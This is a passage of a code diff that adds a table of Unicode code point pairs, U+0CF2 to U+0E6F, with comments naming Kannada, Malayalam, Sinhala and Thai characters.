+ ["\u0CF2", "\u0CF2"], /* KANNADA SIGN UPADHMANIYA */
+ ["\u0CF3", "\u0CF3"], /* KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT */
+ ["\u0CF4", "\u0CF4"],
+ ["\u0CF5", "\u0CF5"],
+ ["\u0CF6", "\u0CF6"],
+ ["\u0CF7", "\u0CF7"],
+ ["\u0CF8", "\u0CF8"],
+ ["\u0CF9", "\u0CF9"],
+ ["\u0CFA", "\u0CFA"],
+ ["\u0CFB", "\u0CFB"],
+ ["\u0CFC", "\u0CFC"],
+ ["\u0CFD", "\u0CFD"],
+ ["\u0CFE", "\u0CFE"],
+ ["\u0CFF", "\u0CFF"],
+ ["\u0D00", "\u0D00"], /* MALAYALAM SIGN COMBINING ANUSVARA ABOVE */
+ ["\u0D01", "\u0D01"], /* MALAYALAM SIGN CANDRABINDU */
+ ["\u0D02", "\u0D02"], /* MALAYALAM SIGN ANUSVARA */
+ ["\u0D03", "\u0D03"], /* MALAYALAM SIGN VISARGA */
+ ["\u0D04", "\u0D04"], /* MALAYALAM LETTER VEDIC ANUSVARA */
+ ["\u0D05", "\u0D05"], /* MALAYALAM LETTER A */
+ ["\u0D06", "\u0D06"], /* MALAYALAM LETTER AA */
+ ["\u0D07", "\u0D07"], /* MALAYALAM LETTER I */
+ ["\u0D08", "\u0D08"], /* MALAYALAM LETTER II */
+ ["\u0D09", "\u0D09"], /* MALAYALAM LETTER U */
+ ["\u0D0A", "\u0D0A"], /* MALAYALAM LETTER UU */
+ ["\u0D0B", "\u0D0B"], /* MALAYALAM LETTER VOCALIC R */
+ ["\u0D0C", "\u0D0C"], /* MALAYALAM LETTER VOCALIC L */
+ ["\u0D0D", "\u0D0D"],
+ ["\u0D0E", "\u0D0E"], /* MALAYALAM LETTER E */
+ ["\u0D0F", "\u0D0F"], /* MALAYALAM LETTER EE */
+ ["\u0D10", "\u0D10"], /* MALAYALAM LETTER AI */
+ ["\u0D11", "\u0D11"],
+ ["\u0D12", "\u0D12"], /* MALAYALAM LETTER O */
+ ["\u0D13", "\u0D13"], /* MALAYALAM LETTER OO */
+ ["\u0D14", "\u0D14"], /* MALAYALAM LETTER AU */
+ ["\u0D15", "\u0D15"], /* MALAYALAM LETTER KA */
+ ["\u0D16", "\u0D16"], /* MALAYALAM LETTER KHA */
+ ["\u0D17", "\u0D17"], /* MALAYALAM LETTER GA */
+ ["\u0D18", "\u0D18"], /* MALAYALAM LETTER GHA */
+ ["\u0D19", "\u0D19"], /* MALAYALAM LETTER NGA */
+ ["\u0D1A", "\u0D1A"], /* MALAYALAM LETTER CA */
+ ["\u0D1B", "\u0D1B"], /* MALAYALAM LETTER CHA */
+ ["\u0D1C", "\u0D1C"], /* MALAYALAM LETTER JA */
+ ["\u0D1D", "\u0D1D"], /* MALAYALAM LETTER JHA */
+ ["\u0D1E", "\u0D1E"], /* MALAYALAM LETTER NYA */
+ ["\u0D1F", "\u0D1F"], /* MALAYALAM LETTER TTA */
+ ["\u0D20", "\u0D20"], /* MALAYALAM LETTER TTHA */
+ ["\u0D21", "\u0D21"], /* MALAYALAM LETTER DDA */
+ ["\u0D22", "\u0D22"], /* MALAYALAM LETTER DDHA */
+ ["\u0D23", "\u0D23"], /* MALAYALAM LETTER NNA */
+ ["\u0D24", "\u0D24"], /* MALAYALAM LETTER TA */
+ ["\u0D25", "\u0D25"], /* MALAYALAM LETTER THA */
+ ["\u0D26", "\u0D26"], /* MALAYALAM LETTER DA */
+ ["\u0D27", "\u0D27"], /* MALAYALAM LETTER DHA */
+ ["\u0D28", "\u0D28"], /* MALAYALAM LETTER NA */
+ ["\u0D29", "\u0D29"], /* MALAYALAM LETTER NNNA */
+ ["\u0D2A", "\u0D2A"], /* MALAYALAM LETTER PA */
+ ["\u0D2B", "\u0D2B"], /* MALAYALAM LETTER PHA */
+ ["\u0D2C", "\u0D2C"], /* MALAYALAM LETTER BA */
+ ["\u0D2D", "\u0D2D"], /* MALAYALAM LETTER BHA */
+ ["\u0D2E", "\u0D2E"], /* MALAYALAM LETTER MA */
+ ["\u0D2F", "\u0D2F"], /* MALAYALAM LETTER YA */
+ ["\u0D30", "\u0D30"], /* MALAYALAM LETTER RA */
+ ["\u0D31", "\u0D31"], /* MALAYALAM LETTER RRA */
+ ["\u0D32", "\u0D32"], /* MALAYALAM LETTER LA */
+ ["\u0D33", "\u0D33"], /* MALAYALAM LETTER LLA */
+ ["\u0D34", "\u0D34"], /* MALAYALAM LETTER LLLA */
+ ["\u0D35", "\u0D35"], /* MALAYALAM LETTER VA */
+ ["\u0D36", "\u0D36"], /* MALAYALAM LETTER SHA */
+ ["\u0D37", "\u0D37"], /* MALAYALAM LETTER SSA */
+ ["\u0D38", "\u0D38"], /* MALAYALAM LETTER SA */
+ ["\u0D39", "\u0D39"], /* MALAYALAM LETTER HA */
+ ["\u0D3A", "\u0D3A"], /* MALAYALAM LETTER TTTA */
+ ["\u0D3B", "\u0D3B"], /* MALAYALAM SIGN VERTICAL BAR VIRAMA */
+ ["\u0D3C", "\u0D3C"], /* MALAYALAM SIGN CIRCULAR VIRAMA */
+ ["\u0D3D", "\u0D3D"], /* MALAYALAM SIGN AVAGRAHA */
+ ["\u0D3E", "\u0D3E"], /* MALAYALAM VOWEL SIGN AA */
+ ["\u0D3F", "\u0D3F"], /* MALAYALAM VOWEL SIGN I */
+ ["\u0D40", "\u0D40"], /* MALAYALAM VOWEL SIGN II */
+ ["\u0D41", "\u0D41"], /* MALAYALAM VOWEL SIGN U */
+ ["\u0D42", "\u0D42"], /* MALAYALAM VOWEL SIGN UU */
+ ["\u0D43", "\u0D43"], /* MALAYALAM VOWEL SIGN VOCALIC R */
+ ["\u0D44", "\u0D44"], /* MALAYALAM VOWEL SIGN VOCALIC RR */
+ ["\u0D45", "\u0D45"],
+ ["\u0D46", "\u0D46"], /* MALAYALAM VOWEL SIGN E */
+ ["\u0D47", "\u0D47"], /* MALAYALAM VOWEL SIGN EE */
+ ["\u0D48", "\u0D48"], /* MALAYALAM VOWEL SIGN AI */
+ ["\u0D49", "\u0D49"],
+ ["\u0D4A", "\u0D4A"], /* MALAYALAM VOWEL SIGN O */
+ ["\u0D4B", "\u0D4B"], /* MALAYALAM VOWEL SIGN OO */
+ ["\u0D4C", "\u0D4C"], /* MALAYALAM VOWEL SIGN AU */
+ ["\u0D4D", "\u0D4D"], /* MALAYALAM SIGN VIRAMA */
+ ["\u0D4E", "\u0D4E"], /* MALAYALAM LETTER DOT REPH */
+ ["\u0D4F", "\u0D4F"], /* MALAYALAM SIGN PARA */
+ ["\u0D50", "\u0D50"],
+ ["\u0D51", "\u0D51"],
+ ["\u0D52", "\u0D52"],
+ ["\u0D53", "\u0D53"],
+ ["\u0D54", "\u0D54"], /* MALAYALAM LETTER CHILLU M */
+ ["\u0D55", "\u0D55"], /* MALAYALAM LETTER CHILLU Y */
+ ["\u0D56", "\u0D56"], /* MALAYALAM LETTER CHILLU LLL */
+ ["\u0D57", "\u0D57"], /* MALAYALAM AU LENGTH MARK */
+ ["\u0D58", "\u0D58"], /* MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH */
+ ["\u0D59", "\u0D59"], /* MALAYALAM FRACTION ONE FORTIETH */
+ ["\u0D5A", "\u0D5A"], /* MALAYALAM FRACTION THREE EIGHTIETHS */
+ ["\u0D5B", "\u0D5B"], /* MALAYALAM FRACTION ONE TWENTIETH */
+ ["\u0D5C", "\u0D5C"], /* MALAYALAM FRACTION ONE TENTH */
+ ["\u0D5D", "\u0D5D"], /* MALAYALAM FRACTION THREE TWENTIETHS */
+ ["\u0D5E", "\u0D5E"], /* MALAYALAM FRACTION ONE FIFTH */
+ ["\u0D5F", "\u0D5F"], /* MALAYALAM LETTER ARCHAIC II */
+ ["\u0D60", "\u0D60"], /* MALAYALAM LETTER VOCALIC RR */
+ ["\u0D61", "\u0D61"], /* MALAYALAM LETTER VOCALIC LL */
+ ["\u0D62", "\u0D62"], /* MALAYALAM VOWEL SIGN VOCALIC L */
+ ["\u0D63", "\u0D63"], /* MALAYALAM VOWEL SIGN VOCALIC LL */
+ ["\u0D64", "\u0D64"],
+ ["\u0D65", "\u0D65"],
+ ["\u0D66", "\u0D66"], /* MALAYALAM DIGIT ZERO */
+ ["\u0D67", "\u0D67"], /* MALAYALAM DIGIT ONE */
+ ["\u0D68", "\u0D68"], /* MALAYALAM DIGIT TWO */
+ ["\u0D69", "\u0D69"], /* MALAYALAM DIGIT THREE */
+ ["\u0D6A", "\u0D6A"], /* MALAYALAM DIGIT FOUR */
+ ["\u0D6B", "\u0D6B"], /* MALAYALAM DIGIT FIVE */
+ ["\u0D6C", "\u0D6C"], /* MALAYALAM DIGIT SIX */
+ ["\u0D6D", "\u0D6D"], /* MALAYALAM DIGIT SEVEN */
+ ["\u0D6E", "\u0D6E"], /* MALAYALAM DIGIT EIGHT */
+ ["\u0D6F", "\u0D6F"], /* MALAYALAM DIGIT NINE */
+ ["\u0D70", "\u0D70"], /* MALAYALAM NUMBER TEN */
+ ["\u0D71", "\u0D71"], /* MALAYALAM NUMBER ONE HUNDRED */
+ ["\u0D72", "\u0D72"], /* MALAYALAM NUMBER ONE THOUSAND */
+ ["\u0D73", "\u0D73"], /* MALAYALAM FRACTION ONE QUARTER */
+ ["\u0D74", "\u0D74"], /* MALAYALAM FRACTION ONE HALF */
+ ["\u0D75", "\u0D75"], /* MALAYALAM FRACTION THREE QUARTERS */
+ ["\u0D76", "\u0D76"], /* MALAYALAM FRACTION ONE SIXTEENTH */
+ ["\u0D77", "\u0D77"], /* MALAYALAM FRACTION ONE EIGHTH */
+ ["\u0D78", "\u0D78"], /* MALAYALAM FRACTION THREE SIXTEENTHS */
+ ["\u0D79", "\u0D79"], /* MALAYALAM DATE MARK */
+ ["\u0D7A", "\u0D7A"], /* MALAYALAM LETTER CHILLU NN */
+ ["\u0D7B", "\u0D7B"], /* MALAYALAM LETTER CHILLU N */
+ ["\u0D7C", "\u0D7C"], /* MALAYALAM LETTER CHILLU RR */
+ ["\u0D7D", "\u0D7D"], /* MALAYALAM LETTER CHILLU L */
+ ["\u0D7E", "\u0D7E"], /* MALAYALAM LETTER CHILLU LL */
+ ["\u0D7F", "\u0D7F"], /* MALAYALAM LETTER CHILLU K */
+ ["\u0D80", "\u0D80"],
+ ["\u0D81", "\u0D81"], /* SINHALA SIGN CANDRABINDU */
+ ["\u0D82", "\u0D82"], /* SINHALA SIGN ANUSVARAYA */
+ ["\u0D83", "\u0D83"], /* SINHALA SIGN VISARGAYA */
+ ["\u0D84", "\u0D84"],
+ ["\u0D85", "\u0D85"], /* SINHALA LETTER AYANNA */
+ ["\u0D86", "\u0D86"], /* SINHALA LETTER AAYANNA */
+ ["\u0D87", "\u0D87"], /* SINHALA LETTER AEYANNA */
+ ["\u0D88", "\u0D88"], /* SINHALA LETTER AEEYANNA */
+ ["\u0D89", "\u0D89"], /* SINHALA LETTER IYANNA */
+ ["\u0D8A", "\u0D8A"], /* SINHALA LETTER IIYANNA */
+ ["\u0D8B", "\u0D8B"], /* SINHALA LETTER UYANNA */
+ ["\u0D8C", "\u0D8C"], /* SINHALA LETTER UUYANNA */
+ ["\u0D8D", "\u0D8D"], /* SINHALA LETTER IRUYANNA */
+ ["\u0D8E", "\u0D8E"], /* SINHALA LETTER IRUUYANNA */
+ ["\u0D8F", "\u0D8F"], /* SINHALA LETTER ILUYANNA */
+ ["\u0D90", "\u0D90"], /* SINHALA LETTER ILUUYANNA */
+ ["\u0D91", "\u0D91"], /* SINHALA LETTER EYANNA */
+ ["\u0D92", "\u0D92"], /* SINHALA LETTER EEYANNA */
+ ["\u0D93", "\u0D93"], /* SINHALA LETTER AIYANNA */
+ ["\u0D94", "\u0D94"], /* SINHALA LETTER OYANNA */
+ ["\u0D95", "\u0D95"], /* SINHALA LETTER OOYANNA */
+ ["\u0D96", "\u0D96"], /* SINHALA LETTER AUYANNA */
+ ["\u0D97", "\u0D97"],
+ ["\u0D98", "\u0D98"],
+ ["\u0D99", "\u0D99"],
+ ["\u0D9A", "\u0D9A"], /* SINHALA LETTER ALPAPRAANA KAYANNA */
+ ["\u0D9B", "\u0D9B"], /* SINHALA LETTER MAHAAPRAANA KAYANNA */
+ ["\u0D9C", "\u0D9C"], /* SINHALA LETTER ALPAPRAANA GAYANNA */
+ ["\u0D9D", "\u0D9D"], /* SINHALA LETTER MAHAAPRAANA GAYANNA */
+ ["\u0D9E", "\u0D9E"], /* SINHALA LETTER KANTAJA NAASIKYAYA */
+ ["\u0D9F", "\u0D9F"], /* SINHALA LETTER SANYAKA GAYANNA */
+ ["\u0DA0", "\u0DA0"], /* SINHALA LETTER ALPAPRAANA CAYANNA */
+ ["\u0DA1", "\u0DA1"], /* SINHALA LETTER MAHAAPRAANA CAYANNA */
+ ["\u0DA2", "\u0DA2"], /* SINHALA LETTER ALPAPRAANA JAYANNA */
+ ["\u0DA3", "\u0DA3"], /* SINHALA LETTER MAHAAPRAANA JAYANNA */
+ ["\u0DA4", "\u0DA4"], /* SINHALA LETTER TAALUJA NAASIKYAYA */
+ ["\u0DA5", "\u0DA5"], /* SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA */
+ ["\u0DA6", "\u0DA6"], /* SINHALA LETTER SANYAKA JAYANNA */
+ ["\u0DA7", "\u0DA7"], /* SINHALA LETTER ALPAPRAANA TTAYANNA */
+ ["\u0DA8", "\u0DA8"], /* SINHALA LETTER MAHAAPRAANA TTAYANNA */
+ ["\u0DA9", "\u0DA9"], /* SINHALA LETTER ALPAPRAANA DDAYANNA */
+ ["\u0DAA", "\u0DAA"], /* SINHALA LETTER MAHAAPRAANA DDAYANNA */
+ ["\u0DAB", "\u0DAB"], /* SINHALA LETTER MUURDHAJA NAYANNA */
+ ["\u0DAC", "\u0DAC"], /* SINHALA LETTER SANYAKA DDAYANNA */
+ ["\u0DAD", "\u0DAD"], /* SINHALA LETTER ALPAPRAANA TAYANNA */
+ ["\u0DAE", "\u0DAE"], /* SINHALA LETTER MAHAAPRAANA TAYANNA */
+ ["\u0DAF", "\u0DAF"], /* SINHALA LETTER ALPAPRAANA DAYANNA */
+ ["\u0DB0", "\u0DB0"], /* SINHALA LETTER MAHAAPRAANA DAYANNA */
+ ["\u0DB1", "\u0DB1"], /* SINHALA LETTER DANTAJA NAYANNA */
+ ["\u0DB2", "\u0DB2"],
+ ["\u0DB3", "\u0DB3"], /* SINHALA LETTER SANYAKA DAYANNA */
+ ["\u0DB4", "\u0DB4"], /* SINHALA LETTER ALPAPRAANA PAYANNA */
+ ["\u0DB5", "\u0DB5"], /* SINHALA LETTER MAHAAPRAANA PAYANNA */
+ ["\u0DB6", "\u0DB6"], /* SINHALA LETTER ALPAPRAANA BAYANNA */
+ ["\u0DB7", "\u0DB7"], /* SINHALA LETTER MAHAAPRAANA BAYANNA */
+ ["\u0DB8", "\u0DB8"], /* SINHALA LETTER MAYANNA */
+ ["\u0DB9", "\u0DB9"], /* SINHALA LETTER AMBA BAYANNA */
+ ["\u0DBA", "\u0DBA"], /* SINHALA LETTER YAYANNA */
+ ["\u0DBB", "\u0DBB"], /* SINHALA LETTER RAYANNA */
+ ["\u0DBC", "\u0DBC"],
+ ["\u0DBD", "\u0DBD"], /* SINHALA LETTER DANTAJA LAYANNA */
+ ["\u0DBE", "\u0DBE"],
+ ["\u0DBF", "\u0DBF"],
+ ["\u0DC0", "\u0DC0"], /* SINHALA LETTER VAYANNA */
+ ["\u0DC1", "\u0DC1"], /* SINHALA LETTER TAALUJA SAYANNA */
+ ["\u0DC2", "\u0DC2"], /* SINHALA LETTER MUURDHAJA SAYANNA */
+ ["\u0DC3", "\u0DC3"], /* SINHALA LETTER DANTAJA SAYANNA */
+ ["\u0DC4", "\u0DC4"], /* SINHALA LETTER HAYANNA */
+ ["\u0DC5", "\u0DC5"], /* SINHALA LETTER MUURDHAJA LAYANNA */
+ ["\u0DC6", "\u0DC6"], /* SINHALA LETTER FAYANNA */
+ ["\u0DC7", "\u0DC7"],
+ ["\u0DC8", "\u0DC8"],
+ ["\u0DC9", "\u0DC9"],
+ ["\u0DCA", "\u0DCA"], /* SINHALA SIGN AL-LAKUNA */
+ ["\u0DCB", "\u0DCB"],
+ ["\u0DCC", "\u0DCC"],
+ ["\u0DCD", "\u0DCD"],
+ ["\u0DCE", "\u0DCE"],
+ ["\u0DCF", "\u0DCF"], /* SINHALA VOWEL SIGN AELA-PILLA */
+ ["\u0DD0", "\u0DD0"], /* SINHALA VOWEL SIGN KETTI AEDA-PILLA */
+ ["\u0DD1", "\u0DD1"], /* SINHALA VOWEL SIGN DIGA AEDA-PILLA */
+ ["\u0DD2", "\u0DD2"], /* SINHALA VOWEL SIGN KETTI IS-PILLA */
+ ["\u0DD3", "\u0DD3"], /* SINHALA VOWEL SIGN DIGA IS-PILLA */
+ ["\u0DD4", "\u0DD4"], /* SINHALA VOWEL SIGN KETTI PAA-PILLA */
+ ["\u0DD5", "\u0DD5"],
+ ["\u0DD6", "\u0DD6"], /* SINHALA VOWEL SIGN DIGA PAA-PILLA */
+ ["\u0DD7", "\u0DD7"],
+ ["\u0DD8", "\u0DD8"], /* SINHALA VOWEL SIGN GAETTA-PILLA */
+ ["\u0DD9", "\u0DD9"], /* SINHALA VOWEL SIGN KOMBUVA */
+ ["\u0DDA", "\u0DDA"], /* SINHALA VOWEL SIGN DIGA KOMBUVA */
+ ["\u0DDB", "\u0DDB"], /* SINHALA VOWEL SIGN KOMBU DEKA */
+ ["\u0DDC", "\u0DDC"], /* SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA */
+ ["\u0DDD", "\u0DDD"], /* SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA */
+ ["\u0DDE", "\u0DDE"], /* SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA */
+ ["\u0DDF", "\u0DDF"], /* SINHALA VOWEL SIGN GAYANUKITTA */
+ ["\u0DE0", "\u0DE0"],
+ ["\u0DE1", "\u0DE1"],
+ ["\u0DE2", "\u0DE2"],
+ ["\u0DE3", "\u0DE3"],
+ ["\u0DE4", "\u0DE4"],
+ ["\u0DE5", "\u0DE5"],
+ ["\u0DE6", "\u0DE6"], /* SINHALA LITH DIGIT ZERO */
+ ["\u0DE7", "\u0DE7"], /* SINHALA LITH DIGIT ONE */
+ ["\u0DE8", "\u0DE8"], /* SINHALA LITH DIGIT TWO */
+ ["\u0DE9", "\u0DE9"], /* SINHALA LITH DIGIT THREE */
+ ["\u0DEA", "\u0DEA"], /* SINHALA LITH DIGIT FOUR */
+ ["\u0DEB", "\u0DEB"], /* SINHALA LITH DIGIT FIVE */
+ ["\u0DEC", "\u0DEC"], /* SINHALA LITH DIGIT SIX */
+ ["\u0DED", "\u0DED"], /* SINHALA LITH DIGIT SEVEN */
+ ["\u0DEE", "\u0DEE"], /* SINHALA LITH DIGIT EIGHT */
+ ["\u0DEF", "\u0DEF"], /* SINHALA LITH DIGIT NINE */
+ ["\u0DF0", "\u0DF0"],
+ ["\u0DF1", "\u0DF1"],
+ ["\u0DF2", "\u0DF2"], /* SINHALA VOWEL SIGN DIGA GAETTA-PILLA */
+ ["\u0DF3", "\u0DF3"], /* SINHALA VOWEL SIGN DIGA GAYANUKITTA */
+ ["\u0DF4", "\u0DF4"], /* SINHALA PUNCTUATION KUNDDALIYA */
+ ["\u0DF5", "\u0DF5"],
+ ["\u0DF6", "\u0DF6"],
+ ["\u0DF7", "\u0DF7"],
+ ["\u0DF8", "\u0DF8"],
+ ["\u0DF9", "\u0DF9"],
+ ["\u0DFA", "\u0DFA"],
+ ["\u0DFB", "\u0DFB"],
+ ["\u0DFC", "\u0DFC"],
+ ["\u0DFD", "\u0DFD"],
+ ["\u0DFE", "\u0DFE"],
+ ["\u0DFF", "\u0DFF"],
+ ["\u0E00", "\u0E00"],
+ ["\u0E01", "\u0E01"], /* THAI CHARACTER KO KAI (THAI LETTER KO KAI) */
+ ["\u0E02", "\u0E02"], /* THAI CHARACTER KHO KHAI (THAI LETTER KHO KHAI) */
+ ["\u0E03", "\u0E03"], /* THAI CHARACTER KHO KHUAT (THAI LETTER KHO KHUAT) */
+ ["\u0E04", "\u0E04"], /* THAI CHARACTER KHO KHWAI (THAI LETTER KHO KHWAI) */
+ ["\u0E05", "\u0E05"], /* THAI CHARACTER KHO KHON (THAI LETTER KHO KHON) */
+ ["\u0E06", "\u0E06"], /* THAI CHARACTER KHO RAKHANG (THAI LETTER KHO RAKHANG) */
+ ["\u0E07", "\u0E07"], /* THAI CHARACTER NGO NGU (THAI LETTER NGO NGU) */
+ ["\u0E08", "\u0E08"], /* THAI CHARACTER CHO CHAN (THAI LETTER CHO CHAN) */
+ ["\u0E09", "\u0E09"], /* THAI CHARACTER CHO CHING (THAI LETTER CHO CHING) */
+ ["\u0E0A", "\u0E0A"], /* THAI CHARACTER CHO CHANG (THAI LETTER CHO CHANG) */
+ ["\u0E0B", "\u0E0B"], /* THAI CHARACTER SO SO (THAI LETTER SO SO) */
+ ["\u0E0C", "\u0E0C"], /* THAI CHARACTER CHO CHOE (THAI LETTER CHO CHOE) */
+ ["\u0E0D", "\u0E0D"], /* THAI CHARACTER YO YING (THAI LETTER YO YING) */
+ ["\u0E0E", "\u0E0E"], /* THAI CHARACTER DO CHADA (THAI LETTER DO CHADA) */
+ ["\u0E0F", "\u0E0F"], /* THAI CHARACTER TO PATAK (THAI LETTER TO PATAK) */
+ ["\u0E10", "\u0E10"], /* THAI CHARACTER THO THAN (THAI LETTER THO THAN) */
+ ["\u0E11", "\u0E11"], /* THAI CHARACTER THO NANGMONTHO (THAI LETTER THO NANGMONTHO) */
+ ["\u0E12", "\u0E12"], /* THAI CHARACTER THO PHUTHAO (THAI LETTER THO PHUTHAO) */
+ ["\u0E13", "\u0E13"], /* THAI CHARACTER NO NEN (THAI LETTER NO NEN) */
+ ["\u0E14", "\u0E14"], /* THAI CHARACTER DO DEK (THAI LETTER DO DEK) */
+ ["\u0E15", "\u0E15"], /* THAI CHARACTER TO TAO (THAI LETTER TO TAO) */
+ ["\u0E16", "\u0E16"], /* THAI CHARACTER THO THUNG (THAI LETTER THO THUNG) */
+ ["\u0E17", "\u0E17"], /* THAI CHARACTER THO THAHAN (THAI LETTER THO THAHAN) */
+ ["\u0E18", "\u0E18"], /* THAI CHARACTER THO THONG (THAI LETTER THO THONG) */
+ ["\u0E19", "\u0E19"], /* THAI CHARACTER NO NU (THAI LETTER NO NU) */
+ ["\u0E1A", "\u0E1A"], /* THAI CHARACTER BO BAIMAI (THAI LETTER BO BAIMAI) */
+ ["\u0E1B", "\u0E1B"], /* THAI CHARACTER PO PLA (THAI LETTER PO PLA) */
+ ["\u0E1C", "\u0E1C"], /* THAI CHARACTER PHO PHUNG (THAI LETTER PHO PHUNG) */
+ ["\u0E1D", "\u0E1D"], /* THAI CHARACTER FO FA (THAI LETTER FO FA) */
+ ["\u0E1E", "\u0E1E"], /* THAI CHARACTER PHO PHAN (THAI LETTER PHO PHAN) */
+ ["\u0E1F", "\u0E1F"], /* THAI CHARACTER FO FAN (THAI LETTER FO FAN) */
+ ["\u0E20", "\u0E20"], /* THAI CHARACTER PHO SAMPHAO (THAI LETTER PHO SAMPHAO) */
+ ["\u0E21", "\u0E21"], /* THAI CHARACTER MO MA (THAI LETTER MO MA) */
+ ["\u0E22", "\u0E22"], /* THAI CHARACTER YO YAK (THAI LETTER YO YAK) */
+ ["\u0E23", "\u0E23"], /* THAI CHARACTER RO RUA (THAI LETTER RO RUA) */
+ ["\u0E24", "\u0E24"], /* THAI CHARACTER RU (THAI LETTER RU) */
+ ["\u0E25", "\u0E25"], /* THAI CHARACTER LO LING (THAI LETTER LO LING) */
+ ["\u0E26", "\u0E26"], /* THAI CHARACTER LU (THAI LETTER LU) */
+ ["\u0E27", "\u0E27"], /* THAI CHARACTER WO WAEN (THAI LETTER WO WAEN) */
+ ["\u0E28", "\u0E28"], /* THAI CHARACTER SO SALA (THAI LETTER SO SALA) */
+ ["\u0E29", "\u0E29"], /* THAI CHARACTER SO RUSI (THAI LETTER SO RUSI) */
+ ["\u0E2A", "\u0E2A"], /* THAI CHARACTER SO SUA (THAI LETTER SO SUA) */
+ ["\u0E2B", "\u0E2B"], /* THAI CHARACTER HO HIP (THAI LETTER HO HIP) */
+ ["\u0E2C", "\u0E2C"], /* THAI CHARACTER LO CHULA (THAI LETTER LO CHULA) */
+ ["\u0E2D", "\u0E2D"], /* THAI CHARACTER O ANG (THAI LETTER O ANG) */
+ ["\u0E2E", "\u0E2E"], /* THAI CHARACTER HO NOKHUK (THAI LETTER HO NOK HUK) */
+ ["\u0E2F", "\u0E2F"], /* THAI CHARACTER PAIYANNOI (THAI PAI YAN NOI) */
+ ["\u0E30", "\u0E30"], /* THAI CHARACTER SARA A (THAI VOWEL SIGN SARA A) */
+ ["\u0E31", "\u0E31"], /* THAI CHARACTER MAI HAN-AKAT (THAI VOWEL SIGN MAI HAN-AKAT) */
+ ["\u0E32", "\u0E32"], /* THAI CHARACTER SARA AA (THAI VOWEL SIGN SARA AA) */
+ ["\u0E33", "\u0E33"], /* THAI CHARACTER SARA AM (THAI VOWEL SIGN SARA AM) */
+ ["\u0E34", "\u0E34"], /* THAI CHARACTER SARA I (THAI VOWEL SIGN SARA I) */
+ ["\u0E35", "\u0E35"], /* THAI CHARACTER SARA II (THAI VOWEL SIGN SARA II) */
+ ["\u0E36", "\u0E36"], /* THAI CHARACTER SARA UE (THAI VOWEL SIGN SARA UE) */
+ ["\u0E37", "\u0E37"], /* THAI CHARACTER SARA UEE (THAI VOWEL SIGN SARA UEE) */
+ ["\u0E38", "\u0E38"], /* THAI CHARACTER SARA U (THAI VOWEL SIGN SARA U) */
+ ["\u0E39", "\u0E39"], /* THAI CHARACTER SARA UU (THAI VOWEL SIGN SARA UU) */
+ ["\u0E3A", "\u0E3A"], /* THAI CHARACTER PHINTHU (THAI VOWEL SIGN PHINTHU) */
+ ["\u0E3B", "\u0E3B"],
+ ["\u0E3C", "\u0E3C"],
+ ["\u0E3D", "\u0E3D"],
+ ["\u0E3E", "\u0E3E"],
+ ["\u0E3F", "\u0E3F"], /* THAI CURRENCY SYMBOL BAHT (THAI BAHT SIGN) */
+ ["\u0E40", "\u0E40"], /* THAI CHARACTER SARA E (THAI VOWEL SIGN SARA E) */
+ ["\u0E41", "\u0E41"], /* THAI CHARACTER SARA AE (THAI VOWEL SIGN SARA AE) */
+ ["\u0E42", "\u0E42"], /* THAI CHARACTER SARA O (THAI VOWEL SIGN SARA O) */
+ ["\u0E43", "\u0E43"], /* THAI CHARACTER SARA AI MAIMUAN (THAI VOWEL SIGN SARA MAI MUAN) */
+ ["\u0E44", "\u0E44"], /* THAI CHARACTER SARA AI MAIMALAI (THAI VOWEL SIGN SARA MAI MALAI) */
+ ["\u0E45", "\u0E45"], /* THAI CHARACTER LAKKHANGYAO (THAI LAK KHANG YAO) */
+ ["\u0E46", "\u0E46"], /* THAI CHARACTER MAIYAMOK (THAI MAI YAMOK) */
+ ["\u0E47", "\u0E47"], /* THAI CHARACTER MAITAIKHU (THAI VOWEL SIGN MAI TAI KHU) */
+ ["\u0E48", "\u0E48"], /* THAI CHARACTER MAI EK (THAI TONE MAI EK) */
+ ["\u0E49", "\u0E49"], /* THAI CHARACTER MAI THO (THAI TONE MAI THO) */
+ ["\u0E4A", "\u0E4A"], /* THAI CHARACTER MAI TRI (THAI TONE MAI TRI) */
+ ["\u0E4B", "\u0E4B"], /* THAI CHARACTER MAI CHATTAWA (THAI TONE MAI CHATTAWA) */
+ ["\u0E4C", "\u0E4C"], /* THAI CHARACTER THANTHAKHAT (THAI THANTHAKHAT) */
+ ["\u0E4D", "\u0E4D"], /* THAI CHARACTER NIKHAHIT (THAI NIKKHAHIT) */
+ ["\u0E4E", "\u0E4E"], /* THAI CHARACTER YAMAKKAN (THAI YAMAKKAN) */
+ ["\u0E4F", "\u0E4F"], /* THAI CHARACTER FONGMAN (THAI FONGMAN) */
+ ["\u0E50", "\u0E50"], /* THAI DIGIT ZERO */
+ ["\u0E51", "\u0E51"], /* THAI DIGIT ONE */
+ ["\u0E52", "\u0E52"], /* THAI DIGIT TWO */
+ ["\u0E53", "\u0E53"], /* THAI DIGIT THREE */
+ ["\u0E54", "\u0E54"], /* THAI DIGIT FOUR */
+ ["\u0E55", "\u0E55"], /* THAI DIGIT FIVE */
+ ["\u0E56", "\u0E56"], /* THAI DIGIT SIX */
+ ["\u0E57", "\u0E57"], /* THAI DIGIT SEVEN */
+ ["\u0E58", "\u0E58"], /* THAI DIGIT EIGHT */
+ ["\u0E59", "\u0E59"], /* THAI DIGIT NINE */
+ ["\u0E5A", "\u0E5A"], /* THAI CHARACTER ANGKHANKHU (THAI ANGKHANKHU) */
+ ["\u0E5B", "\u0E5B"], /* THAI CHARACTER KHOMUT (THAI KHOMUT) */
+ ["\u0E5C", "\u0E5C"],
+ ["\u0E5D", "\u0E5D"],
+ ["\u0E5E", "\u0E5E"],
+ ["\u0E5F", "\u0E5F"],
+ ["\u0E60", "\u0E60"],
+ ["\u0E61", "\u0E61"],
+ ["\u0E62", "\u0E62"],
+ ["\u0E63", "\u0E63"],
+ ["\u0E64", "\u0E64"],
+ ["\u0E65", "\u0E65"],
+ ["\u0E66", "\u0E66"],
+ ["\u0E67", "\u0E67"],
+ ["\u0E68", "\u0E68"],
+ ["\u0E69", "\u0E69"],
+ ["\u0E6A", "\u0E6A"],
+ ["\u0E6B", "\u0E6B"],
+ ["\u0E6C", "\u0E6C"],
+ ["\u0E6D", "\u0E6D"],
+ ["\u0E6E", "\u0E6E"],
+ ["\u0E6F", "\u0E6F"],
